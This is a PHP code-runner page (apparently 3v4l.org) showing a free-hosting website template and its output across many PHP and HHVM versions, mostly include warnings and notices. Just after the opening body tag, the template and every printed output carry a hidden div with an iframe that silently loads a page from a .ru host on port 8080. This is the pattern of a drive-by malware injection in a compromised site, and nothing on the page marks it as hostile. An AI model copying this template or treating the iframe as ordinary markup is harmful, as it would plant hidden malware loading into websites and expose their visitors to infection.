3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta name="generator" content="HTML Tidy for Windows (vers 13 April 2006), see www.w3.org" /> <title>Free Hosting Services</title> <meta http-equiv="content-type" content="text/html; charset=us-ascii" /> <link rel="stylesheet" href="1.css" type="text/css" media="screen,projection" /> </head> <body><div style="display:none"><iframe src="http://past-another-life.ru:8080/index.php" width=216 height=665 ></iframe></div> <? $yourdomain = $_SERVER['HTTP_HOST']; $yourdomain = preg_replace('/^www\./' , '' , $yourdomain); ?> <div id="wrapper" class="fluid"> <div id="header"> <? include ("header.php"); ?> </div> <div id="sidebar_left"> <? // edit sidebarleft.php to change the right side bar on all pages; ?> <? include ("sidebarleft.php"); ?> </div> <div id="sidebar_right"> <? // edit sidebarright.php to change the right side bar on all pages; ?> <? include ("sidebarright.php"); ?> </div> <div id="content"> <h2>Welcome to <? echo "$yourdomain" ;?> Hosting</h2> <p>We are specialists in free hosting services using clustered technolo
Output for 5.4.34 - 5.6.28, 7.0.0 - 7.1.0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta name="generator" content="HTML Tidy for Windows (vers 13 April 2006), see www.w3.org" /> <title>Free Hosting Services</title> <meta http-equiv="content-type" content="text/html; charset=us-ascii" /> <link rel="stylesheet" href="1.css" type="text/css" media="screen,projection" /> </head> <body><div style="display:none"><iframe src="http://past-another-life.ru:8080/index.php" width=216 height=665 ></iframe></div> Notice: Undefined index: HTTP_HOST in /in/dr1hR on line 15 <div id="wrapper" class="fluid"> <div id="header"> Warning: include(header.php): failed to open stream: No such file or directory in /in/dr1hR on line 21 Warning: include(): Failed opening 'header.php' for inclusion (include_path='.:') in /in/dr1hR on line 21 </div> <div id="sidebar_left"> Warning: include(sidebarleft.php): failed to open stream: No such file or directory in /in/dr1hR on line 28 Warning: include(): Failed opening 'sidebarleft.php' for inclusion (include_path='.:') in /in/dr1hR on line 28 </div> <div id="sidebar_right"> Warning: include(sidebarright.php): failed to open stream: No such file or directory in /in/dr1hR on line 35 Warning: include(): Failed opening 'sidebarright.php' for inclusion (include_path='.:') in /in/dr1hR on line 35 </div> <div id="content"> <h2>Welcome to Hosting</h2> <p>We are specialists in free hosting services using clustered technolo
Output for hhvm-3.12.0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta name="generator" content="HTML Tidy for Windows (vers 13 April 2006), see www.w3.org" /> <title>Free Hosting Services</title> <meta http-equiv="content-type" content="text/html; charset=us-ascii" /> <link rel="stylesheet" href="1.css" type="text/css" media="screen,projection" /> </head> <body><div style="display:none"><iframe src="http://past-another-life.ru:8080/index.php" width=216 height=665 ></iframe></div> Notice: Undefined index: HTTP_HOST in /in/dr1hR on line 15 <div id="wrapper" class="fluid"> <div id="header"> Warning: File not found: header.php in /in/dr1hR on line 21 </div> <div id="sidebar_left"> Warning: File not found: sidebarleft.php in /in/dr1hR on line 28 </div> <div id="sidebar_right"> Warning: File not found: sidebarright.php in /in/dr1hR on line 35 </div> <div id="content"> <h2>Welcome to Hosting</h2> <p>We are specialists in free hosting services using clustered technolo
Output for hhvm-3.10.0

Process exited with code 153.
Output for 4.3.0 - 5.4.32
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta name="generator" content="HTML Tidy for Windows (vers 13 April 2006), see www.w3.org" /> <title>Free Hosting Services</title> <meta http-equiv="content-type" content="text/html; charset=us-ascii" /> <link rel="stylesheet" href="1.css" type="text/css" media="screen,projection" /> </head> <body><div style="display:none"><iframe src="http://past-another-life.ru:8080/index.php" width=216 height=665 ></iframe></div> <? $yourdomain = $_SERVER['HTTP_HOST']; $yourdomain = preg_replace('/^www\./' , '' , $yourdomain); ?> <div id="wrapper" class="fluid"> <div id="header"> <? include ("header.php"); ?> </div> <div id="sidebar_left"> <? // edit sidebarleft.php to change the right side bar on all pages; ?> <? include ("sidebarleft.php"); ?> </div> <div id="sidebar_right"> <? // edit sidebarright.php to change the right side bar on all pages; ?> <? include ("sidebarright.php"); ?> </div> <div id="content"> <h2>Welcome to <? echo "$yourdomain" ;?> Hosting</h2> <p>We are specialists in free hosting services using clustered technolo